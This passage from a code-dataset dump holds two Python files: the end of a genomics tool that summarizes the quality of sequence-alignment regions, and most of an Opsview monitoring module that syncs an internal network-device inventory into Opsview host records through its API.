np.zeros(seq1.shape, bool)\n if exclude_sites1.size != 0:\n sites1 = exclude_sites1 - offset\n sites1 = sites1[np.logical_and(sites1 < len(info.gap),\n sites1 >= 0)]\n info.mask[sites1] = True\n\n if exclude_sites2.size != 0:\n sites2 = exclude_sites2 - offset\n sites2 = sites2[np.logical_and(sites2 < len(info.gap),\n sites2 >= 0)]\n info.mask[sites2] = True\n\n # find sites that are not masked, gapped, or unsequenced\n sites = np.logical_not(\n np.logical_or(\n info.mask,\n np.logical_or(\n info.gap, info.unseq)))\n\n # determine totals\n total_sites = np.sum(sites)\n total_match = np.sum(\n np.logical_and(\n seq1 == seq2,\n sites))\n\n return total_match, total_sites, info\n\n def process_alignment(self,\n reference_index: int,\n state_index: int,\n chromosome: str,\n strain: str,\n positions: np.array,\n region: Region_Database,\n region_writer: Region_Writer):\n '''\n Analyze the alignment of a given strain, chromosome, and position.\n Result is stored in the provided region database\n '''\n sequences, alignments, masked_sites = self.get_indices(chromosome,\n strain)\n\n # convert position indices from indices in master reference to\n # indices in alignment\n ps_align = alignments[reference_index][positions]\n\n for i, (r_id, start, end) in enumerate(region.get_entries(strain)):\n start, end = self.get_slice(start, end,\n alignments[reference_index],\n ps_align)\n\n info = Flag_Info()\n info.initialize_flags(\n end - start + 1,\n len(self.known_states))\n\n for ind, state in enumerate(self.known_states):\n hmm, nongap, nonmask = self.get_stats(\n sequences[-1][start:end + 1],\n sequences[ind][start:end + 1],\n start,\n ps_align,\n (masked_sites[ind],\n masked_sites[-1]))\n\n region.set_region(strain, i, state,\n hmm,\n nongap,\n nonmask)\n\n info.add_sequence_flags(hmm[2], ind)\n info.add_mask_flags(nonmask[2], ind)\n\n info_string = info.encode_info(reference_index, state_index)\n\n region_writer.write_header(r_id)\n region_writer.write_sequences(\n strain,\n alignments,\n sequences,\n (start, end))\n region_writer.write_info_string(info_string)\n\n # and keep track of each symbol count\n region.update_counts(strain, i, info_string)\n\n def get_indices(self, chromosome: str, strain: str) -> Tuple:\n '''\n Get the sequences and different indices for the provided\n chromosome and strain\n Returned tuple contains:\n -sequences as np.array\n -index alignment list of indices for each sequence\n -masked_sites, index aligned for each sequence\n '''\n _, sequences = read_fasta.read_fasta(\n self.alignments.format(chrom=chromosome, strain=strain))\n\n # to go from index in reference seq to index in alignment\n alignments = [\n self.index_alignment_by_reference(seq)\n for seq in sequences\n ]\n\n masked = self.read_masked_sites(chromosome, strain)\n\n masked_sites = [\n alignments[ind][self.masked_sites[chromosome][state]]\n for ind, state in enumerate(self.known_states)\n ] + [alignments[-1][masked]] # for strain\n\n return sequences, alignments, masked_sites\n\n def index_alignment_by_reference(self, sequence: np.array) -> np.array:\n '''\n Find locations of non-gapped sites in sequence\n want a way to go from reference sequence coordinate to index in\n alignment\n '''\n return np.where(sequence != self.symbols['gap'])[0]\n\n def get_slice(self,\n start: int,\n end: int,\n alignment: np.array,\n ps_align: np.array) -> Tuple[int, int]:\n '''\n Get start and end positions of index aligned sequence.\n Checks that positions are valid (in ps_align), and raises\n value errors otherwise\n '''\n # index of start and end of region in aligned sequences\n slice_start, slice_end = alignment[[start, end]]\n\n if not np.in1d([slice_start, slice_end], ps_align).all():\n err = 'Slice not found in position alignment'\n log.exception(err)\n raise ValueError(err)\n\n return slice_start, slice_end\n\n\nclass Region_Database():\n '''\n Contains data and logic for regions data during summarizing\n '''\n def __init__(self,\n labeled_file: str,\n chromosome: str,\n known_states: List[str]):\n '''\n Read in labeled file and store resulting table and labels\n '''\n self.info_string_symbols = list('.-_npbcxNPBCX')\n\n self.label_prefixes = ['match_nongap',\n 'num_sites_nongap',\n 'match_hmm',\n 'match_nonmask',\n 'num_sites_nonmask']\n\n self.data, self.labels = read_table.read_table_columns(\n labeled_file,\n sep='\\t',\n group_by='strain',\n chromosome=chromosome)\n\n if self.labels[0] != 'region_id':\n err = 'Unexpected labeled format'\n log.exception(err)\n raise ValueError(err)\n\n for strain, data in self.data.items():\n n = len(data['region_id'])\n\n for s in known_states:\n for lbl in self.label_prefixes:\n data[f'{lbl}_{s}'] = [0] * n\n\n for s in self.info_string_symbols:\n data['count_' + s] = [0] * n\n\n self.labels += [f'{lbl}_{st}' for lbl in self.label_prefixes\n for st in known_states]\n self.labels += ['count_' + x for x in self.info_string_symbols]\n\n def has_strain(self, strain: str) -> bool:\n '''\n Checks if the strain is in this database\n '''\n return strain in self.data\n\n def get_entries(self, strain: str) -> Tuple[str, int, int]:\n '''\n returns an iterator for the region entries of the strain\n with region id (string), start (int) and end (int) positions\n '''\n if not self.has_strain(strain):\n err = f'Region Database does not contain strain {strain}'\n log.exception(err)\n raise ValueError(err)\n\n r_ids = self.data[strain]['region_id']\n starts = self.data[strain]['start']\n ends = self.data[strain]['end']\n for i in range(len(r_ids)):\n yield (r_ids[i], int(starts[i]), int(ends[i]))\n\n def set_region(self,\n strain: str,\n index: int,\n state: str,\n hmm, nongap, nonmask):\n '''\n Set the region state with the provided values.\n hmm, nongap and nonmask are tuples of the (match, total) values\n '''\n ds = self.data[strain]\n MATCH, TOTAL = 0, 1\n if hmm[TOTAL] is not None:\n ds['num_sites_hmm'][index] = hmm[TOTAL]\n\n ds[f'match_hmm_{state}'][index] = hmm[MATCH]\n\n ds[f'match_nongap_{state}'][index] = nongap[MATCH]\n ds[f'num_sites_nongap_{state}'][index] = nongap[TOTAL]\n\n ds[f'match_nonmask_{state}'][index] = nonmask[MATCH]\n ds[f'num_sites_nonmask_{state}'][index] = nonmask[TOTAL]\n\n def update_counts(self,\n strain: str,\n index: int,\n info_string: str):\n '''\n Update the counts variables based on the provided info string\n '''\n counts = Counter(info_string)\n for sym in self.info_string_symbols:\n self.data[strain]['count_' + sym][index] = counts[sym]\n\n def generate_output(self):\n '''\n Yield lines for writing to the quality output file.\n To save memory, this effectively deletes the data structure!\n Outputs are tab delimited, sorted by region_id\n '''\n # reorganize output as list of tuples ordered by label\n output = []\n # have to store this as dict changes during iterations\n strains = list(self.data.keys())\n for strain in strains:\n # pop to limit memory usage\n d = self.data.pop(strain)\n output += list(zip(*[d[l] for l in self.labels]))\n\n # sort by region id (index 0, remove r #[1:])\n for entry in sorted(output, key=lambda e: int(e[0][1:])):\n yield '\\t'.join([str(e) for e in entry]) + '\\n'\n\n def generate_header(self):\n '''\n Generate a header line for the region database\n '''\n return '\\t'.join(self.labels) + '\\n'\n\n\nclass Region_Writer():\n '''\n Controls the writing of region files and indices\n '''\n def __init__(self,\n region_file: str,\n index_file: str,\n known_states: List[str]):\n self.region_file = region_file\n self.index_file = index_file\n self.index = {}\n self.known_states = known_states\n\n def __enter__(self):\n self.region_writer = gzip.open(self.region_file, 'wt')\n\n return self\n\n def __exit__(self, type, value, traceback):\n self.region_writer.close()\n\n if traceback is None:\n # write index\n with open(self.index_file, 'wb') as index_writer:\n pickle.dump(self.index, index_writer)\n return True\n\n else:\n return False\n\n def write_header(self, region_id: str):\n '''\n Add a header line with the region id\n '''\n self.index[int(region_id[1:])] = self.region_writer.tell()\n self.region_writer.write(f'#{region_id}\\n')\n\n def write_sequences(self,\n strain: str,\n alignments: List,\n sequences: np.array,\n indices: Tuple):\n '''\n Write sequences to region file\n '''\n start, end = indices\n names = self.known_states + [strain]\n for sj, name in enumerate(names):\n startj = bisect.bisect_left(alignments[sj], start)\n endj = bisect.bisect_left(alignments[sj], end)\n\n self.region_writer.write(f'> {name} {startj} {endj}\\n')\n\n self.region_writer.write(''.join(\n sequences[sj][start:end+1]) + '\\n')\n\n def write_info_string(self, info_string: str):\n '''\n Write info string with header to region file\n '''\n # write info string\n self.region_writer.write('> info\\n')\n self.region_writer.write(info_string + '\\n')\n\n\nclass Position_Reader():\n '''\n Read in position file, yielding positions until no longer on current\n chromosome\n '''\n\n def __init__(self, position_file):\n self.position_file = position_file\n self.last_position = 0\n\n def __enter__(self):\n self.reader = gzip.open(self.position_file, 'rt')\n return self\n\n def __exit__(self, type, value, traceback):\n self.reader.close()\n return traceback is None\n\n def get_positions(self,\n region: Region_Database,\n chromosome: str) -> Tuple[str, np.array]:\n self.reader.seek(self.last_position)\n line = self.next_line()\n while line != '':\n line = line.split('\\t')\n\n chrm = line[1]\n if chrm != chromosome:\n break\n\n strain = line[0]\n if not region.has_strain(strain):\n line = self.next_line()\n continue\n\n yield strain, np.array(line[2:], dtype=int)\n\n line = self.next_line()\n\n def next_line(self) -> str:\n self.last_position = self.reader.tell()\n line = self.reader.readline()\n return line\n\n\nclass Quality_Writer():\n '''\n Control writing of quality file from region database\n '''\n def __init__(self, quality_filename):\n self.filename = quality_filename\n self.first_write = True\n\n def __enter__(self):\n self.writer = open(self.filename, 'w')\n return self\n\n def __exit__(self, type, value, traceback):\n self.writer.close()\n return traceback is None\n\n def write_quality(self, region: Region_Database):\n '''\n Writes header if needed and region database values\n '''\n if self.first_write is True:\n self.writer.write(region.generate_header())\n self.first_write = False\n\n for line in region.generate_output():\n self.writer.write(line)\n","sub_path":"code/analyze/summarize_region_quality.py","file_name":"summarize_region_quality.py","file_ext":"py","file_size_in_byte":35517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"54669194","text":"__author__ = 'lhs'\nfrom dbservices import provinces, devicetypes, hostgroups, hosttemplates, icons, monitoringservers, \\\n plannings, opsviewservers, maindeparts\nfrom exc.exceptions import *\nimport logging\nfrom api import opsviewclient, insideclient\nfrom utils import servicechecklog, apilog, jsonload, config, servicecheck\nfrom utils import serviceimportlog\nfrom utils import dbopsview as dbroute\n# Checking valid ip\nimport re\n\nlogger = logging.getLogger(__name__)\n\nAPI_CALLING_ERROR = 200\nKEY_ERROR = 201\n\n\nclass DataMapping:\n # Template default when create new dev\n template_json = jsonload.get_json_template('host.json')\n\n def __init__(self, devices, plannings):\n # logger.debug('total dev from inside: %s' % len(devices))\n self.opsviewclients = {}\n self.devices = devices\n self.plannings = plannings\n\n # Get opsview client for device using key is ip of opsview server that will call opsview restful api\n def get_opsview_client(self, opsview_ip):\n \"\"\"\n :param opsview_ip: ip v4 of opsview api server\n :return: opsviewclient instance\n \"\"\"\n try:\n\n if opsview_ip in self.opsviewclients:\n return self.opsviewclients[opsview_ip]\n\n else:\n new_opsviewclient = opsviewclient.OpsviewClient(opsview_ip=opsview_ip)\n self.opsviewclients[opsview_ip] = new_opsviewclient\n return new_opsviewclient\n except OpsViewAPIError as ex:\n raise\n\n # Start Noc formart for key when mapping to json opsview\n # mapping host title\n @staticmethod\n def get_host_title(dev_name, dev_ip, main_depart):\n return '%s-%s-%s' % (main_depart, dev_name, dev_ip)\n\n # Snmp version\n @staticmethod\n def get_snmp_version_for_opsview_json(snmp_version):\n \"\"\"\n :param snmp_version: value in mapping database 1, 2, 3\n :return: value for opsview json\n \"\"\"\n if (snmp_version == '2') is True:\n return '2c'\n\n return snmp_version\n\n # Alias mapping\n @staticmethod\n def get_alias(province, ring_name, device_type):\n if ring_name != '':\n return '%s_%s_%s' % (province, ring_name, device_type)\n else:\n return '%s_%s' % (province, device_type)\n\n @staticmethod\n def get_inside_data(file_name=None):\n # Call API\n try:\n if file_name is None:\n return insideclient.get_device_list()\n else:\n # Load from file\n return jsonload.get_json_data(file_name)\n except InsideError as ex:\n logger.error(ex)\n\n @staticmethod\n def get_noc_planning_file(file_name):\n plannings = []\n path_file = config.get_configuration_file(file_name)\n f = open(path_file, 'r')\n\n for line in f:\n plannings.append(line)\n\n logger.info('Line Number of planning: %s' % len(plannings))\n return plannings\n\n @staticmethod\n def get_checking_script_info(file_name):\n checking = []\n path_file = config.get_configuration_file(file_name)\n f = open(path_file, 'r')\n\n for line in f:\n checking.append(line)\n\n logger.info('Line Number of planning: %s' % len(checking))\n return checking\n\n @staticmethod\n def get_province(province_name):\n try:\n try:\n province = provinces.get_province(name=province_name)\n return province\n\n except ProvinceNotFound:\n province = provinces.insert_province(name=province_name)\n return province\n except ProvinceError:\n raise\n\n @staticmethod\n def get_device_type(device_type_name):\n try:\n try:\n device_type = devicetypes.get_device_type_no_caching(device_type_name)\n return device_type\n except DeviceTypeNotFound:\n device_type = devicetypes.create_device_type(name=device_type_name)\n return device_type\n except DeviceTypeError:\n raise\n\n # Get Opsview server api\n @staticmethod\n def get_opsview_server(ip, name=None, desc=None):\n try:\n try:\n opsview_server = opsviewservers.get_opsview_server(ip)\n return opsview_server\n except OpsviewServerNotFound:\n opsview_server = opsviewservers.insert_opsview_server(ip=ip, name=name, desc=desc)\n return opsview_server\n except OpsviewServerError:\n raise\n\n @staticmethod\n def get_main_depart(name):\n try:\n try:\n main_depart = maindeparts.get_main_depart(name=name)\n return main_depart\n except OpsviewMainDepartNotFound:\n main_depart = maindeparts.insert_main_depart(name=name)\n return main_depart\n except OpsviewMainDepartError:\n raise\n\n # Get planning of dev, if it is not exist, insert\n @staticmethod\n def get_planning(province, device_type, main_depart, opsview_server,\n host_group, host_template, icon, monitor_by, snmp_community, snmp_version):\n try:\n try:\n planning = plannings.get_planning_from_inside_info(province=province.name, device_type=device_type.name,\n main_depart=main_depart.name)\n logger.debug(\n 'duplicate_mapping when insert from mapping file: %s %s %s' % (province, device_type, main_depart))\n return planning\n except PlanningNotFound:\n planning = plannings.insert_planning(province=province, device_type=device_type, host_group=host_group,\n host_template=host_template, icon=icon, monitor_by=monitor_by,\n snmp_community=snmp_community, snmp_version=snmp_version,\n main_depart=main_depart, opsview_server=opsview_server)\n\n return planning\n except PlanningError:\n raise\n\n # check whether two json have same or not\n @staticmethod\n def checking_template_json(conversion_json, host_json):\n conversion_json = conversion_json['object']\n host_json = host_json['object']\n # logger.debug(conversion_json['monitored_by'])\n # logger.debug(host_json['monitored_by'])\n\n for key in conversion_json:\n\n if key in host_json and key in conversion_json:\n # Difference value\n if host_json[key] != conversion_json[key]:\n logger.debug(key)\n return False\n\n # Difference key in two jsons\n else:\n return False\n\n return True\n\n @staticmethod\n # Get checking script for eache device type\n def get_checking_script_for_each_dev():\n checking_script_data = DataMapping.get_checking_script_info('checkingscript.data')\n logger.debug(checking_script_data)\n for row in checking_script_data:\n logger.debug(row)\n result = row.split('\\t')\n device_type_name = result[0]\n script_name = result[1]\n is_checking = result[2]\n\n if is_checking == 'v\\n':\n is_checking = True\n else:\n is_checking = False\n\n try:\n device_type = DataMapping.get_device_type(device_type_name=device_type_name)\n\n # Assign updated file with new value\n device_type.script_name = script_name\n device_type.checking = is_checking\n # Update data\n devicetypes.update_device_type(dev_type=device_type)\n except DeviceTypeError as ex:\n logger.error(ex)\n\n # Get planning dev of noc from opsviewplan.data file\n def sync_planning_db(self):\n # logger.info(len(self.plannings))\n logger.info('insert mapping to database')\n for line in self.plannings:\n\n # Thai Binh\tINF-TBH\tZyxel IES 1248-51\t210.245.0.226\t2. DSLAM Chi Nhanh\tFTN DSLAM\n # SYMBOL - xDSL\tOpsview FTN 04\tpublic\t1\n # province, device_type, server, host_group, icon, icon_path, monitor_by, snmp_community = line.split('\\t')\n # logger.debug(result)\n result = line.split('\\t')\n\n province_name = result[0]\n main_depart_name = result[1]\n device_type_name = result[2]\n opsview_sv_ip = result[3]\n host_group_name = result[4]\n host_template_name = result[5]\n icon_name = result[6]\n monitoring_server_name = result[7]\n snmp_rocommunity = result[8]\n snmp_version = result[9]\n # logger.debug(snmp_version.split('\\n'))\n snmp_version = snmp_version.split('\\n')[0]\n # snmp_version = int(snmp_version)\n\n try:\n province = DataMapping.get_province(province_name)\n device_type = DataMapping.get_device_type(device_type_name)\n opsview_server = DataMapping.get_opsview_server(ip=opsview_sv_ip)\n main_depart = DataMapping.get_main_depart(main_depart_name)\n\n host_group = hostgroups.get_host_group(name=host_group_name,\n db_name=dbroute.get_opsview_database(opsview_ip=opsview_sv_ip))\n host_template = hosttemplates.get_host_template(host_template_name,\n db_name=dbroute.get_opsview_database(\n opsview_ip=opsview_sv_ip))\n\n icon = icons.get_icon_using_name(name=icon_name,\n db_name=dbroute.get_opsview_database(opsview_ip=opsview_sv_ip))\n\n monitor_server = monitoringservers.get_monitoring_server(name=monitoring_server_name,\n db_name=dbroute.get_opsview_database(\n opsview_ip=opsview_sv_ip))\n\n DataMapping.get_planning(province=province, device_type=device_type,\n host_group=host_group.name, host_template=host_template.name,\n icon=icon.name,\n monitor_by=monitor_server.name, snmp_community=snmp_rocommunity,\n snmp_version=snmp_version, main_depart=main_depart,\n opsview_server=opsview_server)\n\n except OpsViewError as ex:\n logger.exception(ex)\n continue\n\n @staticmethod\n def add_planning_record_from_csv_data(csv_list):\n \"\"\"\n :param csv_list: list of list [value1, value2, value3]\n :return: None\n \"\"\"\n for row in csv_list:\n logger.debug(row)\n province_name = row[0]\n main_depart_name = row[1]\n device_type_name = row[2]\n opsview_sv_ip = row[3]\n host_group_name = row[4]\n host_template_name = row[5]\n icon_name = row[6]\n monitoring_server_name = row[7]\n snmp_rocommunity = row[8]\n snmp_version = row[9]\n\n try:\n province = DataMapping.get_province(province_name)\n device_type = DataMapping.get_device_type(device_type_name)\n opsview_server = DataMapping.get_opsview_server(ip=opsview_sv_ip)\n main_depart = DataMapping.get_main_depart(main_depart_name)\n\n host_group = hostgroups.get_host_group(name=host_group_name,\n db_name=dbroute.get_opsview_database(opsview_ip=opsview_sv_ip))\n host_template = hosttemplates.get_host_template(host_template_name,\n db_name=dbroute.get_opsview_database(\n opsview_ip=opsview_sv_ip))\n\n icon = icons.get_icon_using_name(name=icon_name,\n db_name=dbroute.get_opsview_database(opsview_ip=opsview_sv_ip))\n\n monitor_by = monitoringservers.get_monitoring_server(name=monitoring_server_name,\n db_name=dbroute.get_opsview_database(\n opsview_ip=opsview_sv_ip))\n\n try:\n plannings.get_planning_from_inside_info(province=province.name,\n device_type=device_type.name,\n main_depart=main_depart.name)\n\n message = 'duplicate_mapping when insert from mapping file: %s %s %s' % (province.name,\n device_type.name,\n main_depart.name)\n serviceimportlog.insert_log(description=message, error_code=PlanningImportExist.error_code,\n csv_record_data=row)\n except PlanningNotFound:\n plannings.insert_planning(province=province, device_type=device_type, host_group=host_group,\n host_template=host_template, icon=icon, monitor_by=monitor_by,\n snmp_community=snmp_rocommunity, snmp_version=snmp_version,\n main_depart=main_depart, opsview_server=opsview_server)\n\n\n\n except OpsViewError as ex:\n serviceimportlog.insert_log(error_code=ex.error, description=ex.msg, csv_record_data=row)\n logger.exception(ex)\n continue\n\n # check correct data from inside and opsview. If opsview have one template,\n # from planning dev of db have to exist this template\n def check_info_between_inside_and_noc_planning(self):\n\n for dev in self.devices:\n device_type = dev['DeviceType']\n if device_type == '':\n continue\n\n province = dev['KhuVuc']\n # print '%s: %s' % (device_type, province)\n\n try:\n devicetypes.get_device_type(name=device_type)\n except DeviceTypeNotFound as ex:\n logger.error(ex)\n logger.error(dev)\n\n try:\n provinces.get_province(name=province)\n except ProvinceNotFound as ex:\n logger.error(ex)\n logger.error(dev)\n\n # check duplicate dev's name in all inside dev\n def check_duplicate_host_title_inside_devices(self):\n devices = self.devices\n length = len(self.devices)\n\n for i in range(length):\n # Initial device\n is_duplication = False\n before_duplicate = False\n if i > 0:\n # Check from i to start list. Checking for prevent print duplicate device again\n for k in range(i):\n if devices[k]['TenThietBi'] == devices[i]['TenThietBi'] and devices[k]['IP'] == devices[i]['IP']:\n before_duplicate = True\n break\n\n if before_duplicate:\n continue\n # Check duplicate from i +1 to end list\n for j in range(i + 1, length):\n if devices[j]['TenThietBi'] == devices[i]['TenThietBi'] and devices[j]['IP'] == devices[i]['IP']:\n is_duplication = True\n logger.warn('duplicate host title: %s - %s' % (j, jsonload.get_json_string_from_dict(devices[j])))\n\n # If duplicate device, print device\n if is_duplication is True:\n logger.warn('duplicate host title: %s - %s' % (i, jsonload.get_json_string_from_dict(devices[i])))\n logger.warn('-----------------------------------------')\n\n # check duplicate error dev with have khuvuc, devicetype equal\n\n def check_duplicate_error_mapping(self):\n devices = self.devices\n length = len(self.devices)\n\n for i in range(length):\n # Initial device\n is_duplication = False\n before_duplicate = False\n if i > 0:\n # Check from i to start list. Checking for prevent print duplicate device again\n for k in range(i):\n if str(devices[k]['DeviceType']) == str(devices[i]['DeviceType']) and str(devices[k]['KhuVuc']) \\\n == str(devices[i]['KhuVuc']):\n before_duplicate = True\n break\n # Prevent print device again\n if before_duplicate:\n continue\n\n # Check duplicate from i +1 to end list\n for j in range(i + 1, length):\n if str(devices[j]['DeviceType']) == str(devices[i]['DeviceType']) and str(devices[j]['KhuVuc']) == \\\n str(devices[i]['KhuVuc']):\n is_duplication = True\n logger.warn(\n 'duplicate error mapping: %s - %s' % (j, jsonload.get_json_string_from_dict(devices[j])))\n\n # If duplicate device, print device\n if is_duplication is True:\n logger.warn('duplicate error mapping: %s - %s' % (i, jsonload.get_json_string_from_dict(devices[i])))\n logger.warn('-----------------------------------------')\n else:\n logger.warn(jsonload.get_json_string_from_dict(devices[i]))\n # logger.warn(devices[i])\n\n # check duplicate IP\n\n def check_duplicate_ip_inside_devices(self):\n devices = self.devices\n length = len(self.devices)\n\n for i in range(length):\n # Initial device\n is_duplication = False\n before_duplicate = False\n if i > 0:\n # Check from i to start list. Checking for prevent print duplicate device again\n for k in range(i):\n if str(devices[k]['IP']) == str(devices[i]['IP']):\n before_duplicate = True\n break\n # Prevent print device again\n if before_duplicate:\n continue\n\n # Check duplicate from i +1 to end list\n for j in range(i + 1, length):\n if str(devices[j]['IP']) == str(devices[i]['IP']):\n is_duplication = True\n logger.warn('duplicate ip: %s - %s' % (j, jsonload.get_json_string_from_dict(devices[j])))\n\n # If duplicate device, print device\n if is_duplication is True:\n logger.warn('duplicate ip: %s - %s' % (i, jsonload.get_json_string_from_dict(devices[i])))\n logger.warn('-----------------------------------------')\n\n # check exist mapping for each device\n def check_exist_mapping_for_device(self):\n error_devs = []\n for dev in self.devices:\n dev_type = dev['DeviceType']\n province = dev['KhuVuc']\n main_depart = dev['MainDepart']\n try:\n mapping = plannings.get_planning_from_inside_info(province=province, device_type=dev_type,\n main_depart=main_depart)\n logger.debug(jsonload.get_json_string_from_dict(\n DataMapping.mapping_to_opsview_json(inside_device=dev, mapping=mapping,\n template=self.template_json)))\n except PlanningError:\n # Do not found mapping record for dev\n logger.warning('mapping invalid: %s' % jsonload.get_json_string_from_dict(dev))\n error_devs.append(dev)\n\n # jsonload.export_json_to_file({'getListDeviceAccessResult': error_devs}, 'error_devs_mapping.json')\n\n # Check correct dev's ip\n @staticmethod\n def is_valid_ip(ip):\n m = re.match(r\"^(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})$\", ip)\n is_valid = bool(m) and all(map(lambda n: 0 <= int(n) <= 255, m.groups()))\n\n # Check same invalid case: 255.255.5.09\n if is_valid is True:\n array_number = ip.split('.')\n for number in array_number:\n if len(number) > 1 and number[0] == '0':\n return False\n\n return is_valid\n\n # Check valid Name\n # check name do not have special characters\n @staticmethod\n def is_valid_name(name):\n # Charact fr a to z, 0 to 9, A to Z, length from 3 to 30 characters\n prog = re.compile(\"^[a-z0-9A-Z]{3,30}$\")\n # Pass\n if prog.match(name):\n return True\n\n # False\n return False\n\n @staticmethod\n def mapping_to_opsview_json(inside_device, mapping=None, template=None, update_host_attribute=False):\n \"\"\"\n :param inside_device: information of inside dev,\n {\"ChungLoai\": \"OLT\", \"KhuVuc\": \"Ninh Thuan\",\n \"MainDepart\": \"INF-NTN\",\n \"IP\": \"10.10.182.37\",\n \"RingName\": \"NTN-Ring6\",\n \"DeviceType\": \"GL5600-08P\",\n \"TenThietBi\": \"NTNP00603GC57\"}\n :param template: template from host.json or opsview json from api\n {'object': dev_info_dict}\n :return: json mapping\n \"\"\"\n\n if template is None:\n template = jsonload.get_json_template('host.json')\n\n ring_name = inside_device['RingName']\n province = inside_device['KhuVuc']\n ip = inside_device['IP']\n device_type = inside_device['DeviceType']\n device_name = inside_device['TenThietBi']\n main_depart = inside_device['MainDepart']\n\n template['object']['ip'] = ip\n # Unique host title\n template['object']['name'] = DataMapping.get_host_title(dev_name=device_name,\n dev_ip=ip, main_depart=main_depart)\n\n template['object']['alias'] = DataMapping.get_alias(province=province, ring_name=ring_name,\n device_type=device_type)\n\n try:\n # Get mapping in database. This is dev planning from noc.\n if mapping is None:\n mapping = plannings.get_planning_from_inside_info(province=province, device_type=device_type,\n main_depart=main_depart)\n\n snmp_version = DataMapping.get_snmp_version_for_opsview_json(mapping.snmp_version)\n # Service check mapping\n\n if update_host_attribute is True and mapping.device_type.checking is True:\n # Test do not throw exception\n try:\n\n service_check = servicecheck.get_attributes(script_name=mapping.device_type.script_name,\n version=snmp_version,\n ip=ip, snmp_key=mapping.snmp_community,\n time_out=mapping.device_type.time_out,\n arguments=mapping.device_type.arguments)\n # Timer for script\n '''\n end_time = datetime.now()\n from datetime import datetime, timedelta\n start_time = datetime.now()\n\n if (start_time + timedelta(minutes=1)) < end_time:\n logger.critical('long time: %s' % jsonload.get_json_string_from_dict(inside_device))\n '''\n\n logger.debug('service check from script %s' % jsonload.get_json_string_from_dict(service_check))\n logger.debug('service check from opsview response: %s' % jsonload.get_json_string_from_dict(\n template['object']['hostattributes']))\n\n # check different servicecheck\n is_same, sorted_service_check = jsonload.is_same_service_check(service_check,\n template['object']['hostattributes'])\n\n logger.debug('service_check_compare: %s' % is_same)\n logger.debug(sorted_service_check)\n\n # Update on json opsview if result of service_check is not []\n if len(service_check) > 0:\n if is_same is False:\n update_service_check = jsonload.merge_service_check(service_check,\n list(template['object'][\n 'hostattributes']))\n logger.debug('update service check: %s' % update_service_check)\n template['object']['hostattributes'] = update_service_check\n\n # template['object']['hostattributes'] = sorted_service_check\n else:\n\n servicechecklog.write_service_check_log(device_info=inside_device,\n description='result script is []', status='error',\n device_name=device_name, error_code=500)\n logger.warning(jsonload.get_json_string_from_dict(inside_device))\n\n except TimeoutScript as ex:\n servicechecklog.write_service_check_log(device_info=inside_device,\n description=ex.msg, status='error',\n device_name=device_name, error_code=600)\n logger.warning('long time: %s' % jsonload.get_json_string_from_dict(inside_device))\n\n except OpsViewError as ex:\n logger.error(ex)\n\n # host_template list\n host_template_host = [hosttemplates.get_host_template(name=mapping.host_template,\n db_name=dbroute.get_opsview_database(\n mapping.opsview_server.ip)).to_dict()]\n\n # logger.debug(host_template_host)\n template['object']['hosttemplates'] = host_template_host\n\n template['object']['hostgroup'] = hostgroups.get_host_group(name=mapping.host_group,\n db_name=dbroute.get_opsview_database(\n mapping.opsview_server.ip)).to_dict()\n\n template['object']['snmp_community'] = mapping.snmp_community\n template['object']['icon'] = icons.get_icon_using_name(name=mapping.icon,\n db_name=dbroute.get_opsview_database(\n opsview_ip=mapping.opsview_server.ip)).to_dict()\n\n template['object']['monitored_by'] = monitoringservers.get_monitoring_server(name=mapping.monitor_by,\n db_name=dbroute.get_opsview_database(\n opsview_ip=\n mapping.opsview_server.ip)).to_dict()\n template['object']['snmp_version'] = snmp_version\n logger.debug(template['object']['snmp_version'])\n return template\n except OpsViewError:\n raise\n\n # Get all dev from inside to check correct format of ipv4\n def check_invalid_ip(self):\n for dev in self.devices:\n ip = dev['IP']\n if DataMapping.is_valid_ip(ip=ip) is False:\n logger.warn('invalid ip: %s' % jsonload.get_json_string_from_dict(dev))\n\n # Get all dev from inside to check correct name validation\n def check_invalid_dev_name(self):\n for dev in self.devices:\n name = dev['TenThietBi']\n if DataMapping.is_valid_name(name) is False:\n logger.warn('invalid name: %s' % jsonload.get_json_string_from_dict(dev))\n\n def check_none_filed(self, filed):\n for dev in self.devices:\n # logger.debug(dev)\n if dev[filed] == '':\n logger.warn('None filed: %s %s' % (filed, jsonload.get_json_string_from_dict(dev)))\n\n def test_valid_data_noc_planning(self):\n for line in self.plannings:\n logger.debug(line)\n result = line.split('\\t')\n province_name = result[0]\n main_depart = result[1]\n device_type_name = result[2]\n opsview_sv_ip = result[3]\n host_group_name = result[4]\n host_template_name = result[5]\n icon_name = result[6]\n monitoring_server_name = result[7]\n snmp_rocommunity = result[8]\n snmp_version = result[9]\n snmp_version = int(snmp_version)\n\n if (province_name is None or province_name == '' or main_depart is None or main_depart == '' or\n device_type_name is None or device_type_name == '' or DataMapping.is_valid_ip(\n opsview_sv_ip) is False\n or host_group_name is None or host_group_name == ''\n or host_template_name is None or host_group_name == ''\n or icon_name is None or icon_name == ''\n or monitoring_server_name is None or monitoring_server_name == ''\n or snmp_rocommunity is None or snmp_rocommunity == ''\n or snmp_version is None or snmp_version == ''):\n logger.warn('invalid mapping data: %s' % result)\n\n # Update dev with inside dev information on opsview\n def update_info_opsview_for_device(self, dev, update_host_attribute=False):\n \"\"\"\n :param dev: device information from inside\n :return: None\n \"\"\"\n\n object_type = 'host'\n json_filter = '{\"ip\":{\"-like\":\"%s\"}}'\n # url_filter='row=all&cols=name,ip,hostgroup'\n url_filter = None\n\n # Get all information for get record mapping of noc planning\n province = dev['KhuVuc']\n device_type = dev['DeviceType']\n main_depart = dev['MainDepart']\n dev_ip = dev['IP']\n mapping = None\n\n try:\n logger.debug(dev)\n\n # Get information mapping of Noc\n mapping = plannings.get_planning_from_inside_info(province=province, device_type=device_type,\n main_depart=main_depart)\n opsview_client = self.get_opsview_client(opsview_ip=mapping.opsview_server.ip)\n\n # Get host information from opsview using api\n result = opsview_client.get_generic_list(object_type=object_type, json_filter=json_filter % dev_ip,\n url_filter=url_filter)\n # Get total record of result\n result_len = int(result['summary']['totalrows'])\n\n # Create new device\n if result_len == 0:\n # Mapping json for new inside dev with default json template\n template_json = DataMapping.mapping_to_opsview_json(inside_device=dev, mapping=mapping,\n template=self.template_json,\n update_host_attribute=update_host_attribute)\n\n logger.debug('new template: %s' % jsonload.get_json_string_from_dict(template_json))\n data = opsview_client.insert_host(host=template_json)\n logger.debug('inserted data: %s' % jsonload.get_json_string_from_dict(data))\n\n # Check host group 